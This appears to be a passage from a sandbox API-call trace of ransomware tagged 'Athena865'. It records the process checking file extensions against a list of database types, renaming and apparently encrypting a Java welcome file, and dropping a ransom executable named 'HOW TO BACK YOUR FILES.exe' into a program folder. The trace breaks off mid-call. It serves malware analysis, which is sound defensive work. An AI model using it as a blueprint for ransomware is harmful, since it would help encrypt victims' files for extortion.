[0094.006] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1 [0094.006] lstrlenW (lpString="abs") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1 [0094.006] lstrlenW (lpString="abx") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1 [0094.006] lstrlenW (lpString="accdb") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1 [0094.006] lstrlenW (lpString="accdc") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1 [0094.006] lstrlenW (lpString="accde") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1 [0094.006] lstrlenW (lpString="accdr") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1 [0094.006] lstrlenW (lpString="accdt") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1 [0094.006] lstrlenW (lpString="accdw") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1 [0094.006] lstrlenW (lpString="accft") returned 5 [0094.006] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1 [0094.006] lstrlenW (lpString="adb") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1 [0094.006] lstrlenW (lpString="adb") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1 [0094.006] lstrlenW (lpString="ade") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1 [0094.006] lstrlenW (lpString="adf") returned 3 [0094.006] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1 [0094.006] lstrlenW (lpString="adn") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1 [0094.007] lstrlenW (lpString="adp") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1 [0094.007] lstrlenW (lpString="alf") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1 [0094.007] lstrlenW (lpString="ask") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1 [0094.007] lstrlenW (lpString="btr") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1 [0094.007] lstrlenW (lpString="cat") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1 [0094.007] lstrlenW (lpString="cdb") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1 [0094.007] lstrlenW (lpString="ckp") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1 [0094.007] lstrlenW (lpString="cma") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1 [0094.007] lstrlenW (lpString="cpd") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1 [0094.007] lstrlenW (lpString="dacpac") returned 6 [0094.007] lstrcmpiW (lpString1="e.html", lpString2="dacpac") returned 1 [0094.007] lstrlenW (lpString="dad") returned 3 [0094.007] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1 [0094.007] lstrlenW (lpString="dadiagrams") returned 10 [0094.007] lstrcmpiW (lpString1="lcome.html", lpString2="dadiagrams") returned 1 [0094.007] lstrlenW (lpString="daschema") returned 8 [0094.007] lstrcmpiW (lpString1="ome.html", lpString2="daschema") returned 1 [0094.007] lstrlenW (lpString="db-journal") returned 10 [0094.007] lstrcmpiW (lpString1="lcome.html", lpString2="db-journal") returned 1 [0094.007] lstrlenW (lpString="db-shm") returned 6 [0094.008] lstrcmpiW (lpString1="e.html", lpString2="db-shm") returned 1 [0094.008] lstrlenW (lpString="db-wal") returned 6 [0094.008] lstrcmpiW (lpString1="e.html", lpString2="db-wal") returned 1 [0094.008] lstrlenW (lpString="dbc") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1 [0094.008] lstrlenW (lpString="dbs") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1 [0094.008] lstrlenW (lpString="dbt") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1 [0094.008] lstrlenW (lpString="dbv") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1 [0094.008] lstrlenW (lpString="dbx") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1 [0094.008] lstrlenW (lpString="dcb") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1 [0094.008] lstrlenW (lpString="dct") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1 [0094.008] lstrlenW (lpString="dcx") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1 [0094.008] lstrlenW (lpString="ddl") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1 [0094.008] lstrlenW (lpString="dlis") returned 4 [0094.008] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1 [0094.008] lstrlenW (lpString="dp1") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1 [0094.008] lstrlenW (lpString="dqy") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1 [0094.008] lstrlenW (lpString="dsk") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1 [0094.008] lstrlenW (lpString="dsn") returned 3 [0094.008] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1 [0094.008] lstrlenW (lpString="dtsx") returned 4 [0094.009] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1 [0094.009] lstrlenW (lpString="dxl") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1 [0094.009] lstrlenW (lpString="eco") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1 [0094.009] lstrlenW (lpString="ecx") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1 [0094.009] lstrlenW (lpString="edb") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1 [0094.009] lstrlenW (lpString="epim") returned 4 [0094.009] lstrcmpiW (lpString1="html", lpString2="epim") returned 1 [0094.009] lstrlenW (lpString="fcd") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1 [0094.009] lstrlenW (lpString="fdb") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1 [0094.009] lstrlenW (lpString="fic") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1 [0094.009] lstrlenW (lpString="flexolibrary") returned 12 [0094.009] lstrlenW (lpString="fm5") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1 [0094.009] lstrlenW (lpString="fmp") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1 [0094.009] lstrlenW (lpString="fmp12") returned 5 [0094.009] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1 [0094.009] lstrlenW (lpString="fmpsl") returned 5 [0094.009] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1 [0094.009] lstrlenW (lpString="fol") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1 [0094.009] lstrlenW (lpString="fp3") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1 [0094.009] lstrlenW (lpString="fp4") returned 3 [0094.009] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1 [0094.010] lstrlenW (lpString="fp5") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1 [0094.010] lstrlenW (lpString="fp7") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1 [0094.010] lstrlenW (lpString="fpt") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1 [0094.010] lstrlenW (lpString="frm") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1 [0094.010] lstrlenW (lpString="gdb") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1 [0094.010] lstrlenW (lpString="gdb") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1 [0094.010] lstrlenW (lpString="grdb") returned 4 [0094.010] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1 [0094.010] lstrlenW (lpString="gwi") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1 [0094.010] lstrlenW (lpString="hdb") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1 [0094.010] lstrlenW (lpString="his") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="his") returned 1 [0094.010] lstrlenW (lpString="ib") returned 2 [0094.010] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1 [0094.010] lstrlenW (lpString="idb") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1 [0094.010] lstrlenW (lpString="ihx") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1 [0094.010] lstrlenW (lpString="itdb") returned 4 [0094.010] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1 [0094.010] lstrlenW (lpString="itw") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1 [0094.010] lstrlenW (lpString="jet") returned 3 [0094.010] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1 [0094.010] lstrlenW (lpString="jtx") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1 [0094.011] lstrlenW (lpString="kdb") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1 [0094.011] lstrlenW (lpString="kexi") returned 4 [0094.011] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1 [0094.011] lstrlenW (lpString="kexic") returned 5 [0094.011] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1 [0094.011] lstrlenW (lpString="kexis") returned 5 [0094.011] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1 [0094.011] lstrlenW (lpString="lgc") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1 [0094.011] lstrlenW (lpString="lwx") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1 [0094.011] lstrlenW (lpString="maf") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1 [0094.011] lstrlenW (lpString="maq") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1 [0094.011] lstrlenW (lpString="mar") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1 [0094.011] lstrlenW (lpString="marshal") returned 7 [0094.011] lstrcmpiW (lpString1="me.html", lpString2="marshal") returned 1 [0094.011] lstrlenW (lpString="mas") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1 [0094.011] lstrlenW (lpString="mav") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1 [0094.011] lstrlenW (lpString="maw") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1 [0094.011] lstrlenW (lpString="mdbhtml") returned 7 [0094.011] lstrcmpiW (lpString1="me.html", lpString2="mdbhtml") returned 1 [0094.011] lstrlenW (lpString="mdn") returned 3 [0094.011] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1 [0094.012] lstrlenW (lpString="mdt") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1 [0094.012] lstrlenW (lpString="mfd") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1 [0094.012] lstrlenW (lpString="mpd") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1 [0094.012] lstrlenW (lpString="mrg") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="mrg") returned 1 [0094.012] lstrlenW (lpString="mud") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="mud") returned 1 [0094.012] lstrlenW (lpString="mwb") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="mwb") returned 1 [0094.012] lstrlenW (lpString="myd") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="myd") returned 1 [0094.012] lstrlenW (lpString="ndf") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="ndf") returned 1 [0094.012] lstrlenW (lpString="nnt") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="nnt") returned 1 [0094.012] lstrlenW (lpString="nrmlib") returned 6 [0094.012] lstrcmpiW (lpString1="e.html", lpString2="nrmlib") returned -1 [0094.012] lstrlenW (lpString="ns2") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="ns2") returned 1 [0094.012] lstrlenW (lpString="ns3") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="ns3") returned 1 [0094.012] lstrlenW (lpString="ns4") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="ns4") returned 1 [0094.012] lstrlenW (lpString="nsf") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="nsf") returned 1 [0094.012] lstrlenW (lpString="nv") returned 2 [0094.012] lstrcmpiW (lpString1="ml", lpString2="nv") returned -1 [0094.012] lstrlenW (lpString="nv2") returned 3 [0094.012] lstrcmpiW (lpString1="tml", lpString2="nv2") returned 1 [0094.013] lstrlenW (lpString="nwdb") returned 4 [0094.013] lstrcmpiW (lpString1="html", lpString2="nwdb") returned -1 [0094.013] lstrlenW (lpString="nyf") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="nyf") returned 1 [0094.013] lstrlenW (lpString="odb") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1 [0094.013] lstrlenW (lpString="odb") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="odb") returned 1 [0094.013] lstrlenW (lpString="oqy") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="oqy") returned 1 [0094.013] lstrlenW (lpString="ora") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="ora") returned 1 [0094.013] lstrlenW (lpString="orx") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="orx") returned 1 [0094.013] lstrlenW (lpString="owc") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="owc") returned 1 [0094.013] lstrlenW (lpString="p96") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="p96") returned 1 [0094.013] lstrlenW (lpString="p97") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="p97") returned 1 [0094.013] lstrlenW (lpString="pan") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="pan") returned 1 [0094.013] lstrlenW (lpString="pdb") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="pdb") returned 1 [0094.013] lstrlenW (lpString="pdm") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="pdm") returned 1 [0094.013] lstrlenW (lpString="pnz") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="pnz") returned 1 [0094.013] lstrlenW (lpString="qry") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="qry") returned 1 [0094.013] lstrlenW (lpString="qvd") returned 3 [0094.013] lstrcmpiW (lpString1="tml", lpString2="qvd") returned 1 [0094.013] lstrlenW (lpString="rbf") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="rbf") returned 1 [0094.014] lstrlenW (lpString="rctd") returned 4 [0094.014] lstrcmpiW (lpString1="html", lpString2="rctd") returned -1 [0094.014] lstrlenW (lpString="rod") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="rod") returned 1 [0094.014] lstrlenW (lpString="rodx") returned 4 [0094.014] lstrcmpiW (lpString1="html", lpString2="rodx") returned -1 [0094.014] lstrlenW (lpString="rpd") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="rpd") returned 1 [0094.014] lstrlenW (lpString="rsd") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="rsd") returned 1 [0094.014] lstrlenW (lpString="sas7bdat") returned 8 [0094.014] lstrcmpiW (lpString1="ome.html", lpString2="sas7bdat") returned -1 [0094.014] lstrlenW (lpString="sbf") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="sbf") returned 1 [0094.014] lstrlenW (lpString="scx") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="scx") returned 1 [0094.014] lstrlenW (lpString="sdb") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="sdb") returned 1 [0094.014] lstrlenW (lpString="sdc") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="sdc") returned 1 [0094.014] lstrlenW (lpString="sdf") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="sdf") returned 1 [0094.014] lstrlenW (lpString="sis") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="sis") returned 1 [0094.014] lstrlenW (lpString="spq") returned 3 [0094.014] lstrcmpiW (lpString1="tml", lpString2="spq") returned 1 [0094.014] lstrlenW (lpString="te") returned 2 [0094.014] lstrcmpiW (lpString1="ml", lpString2="te") returned -1 [0094.014] lstrlenW (lpString="teacher") returned 7 [0094.014] lstrcmpiW (lpString1="me.html", lpString2="teacher") returned -1 [0094.014] lstrlenW (lpString="tmd") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="tmd") returned 1 [0094.015] lstrlenW (lpString="tps") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="tps") returned -1 [0094.015] lstrlenW (lpString="trc") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1 [0094.015] lstrlenW (lpString="trc") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="trc") returned -1 [0094.015] lstrlenW (lpString="trm") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="trm") returned -1 [0094.015] lstrlenW (lpString="udb") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="udb") returned -1 [0094.015] lstrlenW (lpString="udl") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="udl") returned -1 [0094.015] lstrlenW (lpString="usr") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="usr") returned -1 [0094.015] lstrlenW (lpString="v12") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="v12") returned -1 [0094.015] lstrlenW (lpString="vis") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="vis") returned -1 [0094.015] lstrlenW (lpString="vpd") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="vpd") returned -1 [0094.015] lstrlenW (lpString="vvv") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="vvv") returned -1 [0094.015] lstrlenW (lpString="wdb") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="wdb") returned -1 [0094.015] lstrlenW (lpString="wmdb") returned 4 [0094.015] lstrcmpiW (lpString1="html", lpString2="wmdb") returned -1 [0094.015] lstrlenW (lpString="wrk") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="wrk") returned -1 [0094.015] lstrlenW (lpString="xdb") returned 3 [0094.015] lstrcmpiW (lpString1="tml", lpString2="xdb") returned -1 [0094.016] lstrlenW (lpString="xld") returned 3 [0094.016] lstrcmpiW (lpString1="tml", lpString2="xld") returned -1 [0094.016] lstrlenW (lpString="xmlff") returned 5 [0094.016] lstrcmpiW (lpString1=".html", lpString2="xmlff") returned -1 [0094.016] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.Athena865") returned 55 [0094.016] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html.athena865"), dwFlags=0x1) returned 1 [0094.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\Welcome.html.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\welcome.html.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.017] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=983) returned 1 [0094.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0094.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0094.017] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0094.018] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.018] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0094.018] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e0, lpName=0x0) returned 0x17c [0094.020] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e0) returned 0x100000 [0094.021] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0094.021] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.021] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0094.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0094.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.022] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.022] CloseHandle (hObject=0x17c) returned 1 [0094.022] CloseHandle (hObject=0x154) returned 1 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0094.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.023] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0094.023] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0094.023] ReleaseMutex (hMutex=0xec) returned 1 [0094.023] CloseHandle (hObject=0xec) returned 1 [0094.023] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0094.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501ca8 | out: hHeap=0x4f0000) returned 1 [0094.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c590 | out: hHeap=0x4f0000) returned 1 [0094.023] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned 59 [0094.023] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E5A780F369B7756D090A29CE1388EF61") returned 0xec [0094.023] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0094.023] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" | out: lpString1="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0094.023] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0094.023] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\how to back your files.exe"), bFailIfExists=1) returned 0 [0094.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0094.024] GetLastError () returned 0x0 [0094.024] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0094.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53cd08 [0094.024] ReadFile (in: hFile=0xf4, lpBuffer=0x53cd08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53cd08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0094.025] CloseHandle (hObject=0xf4) returned 1 [0094.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x4f0000) returned 1 [0094.025] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0094.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc11e8c40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc11e8c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0094.025] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.025] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0094.025] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0094.025] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc11e8c40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc11e8c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.025] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0094.025] lstrcmpiW (lpString1="..", 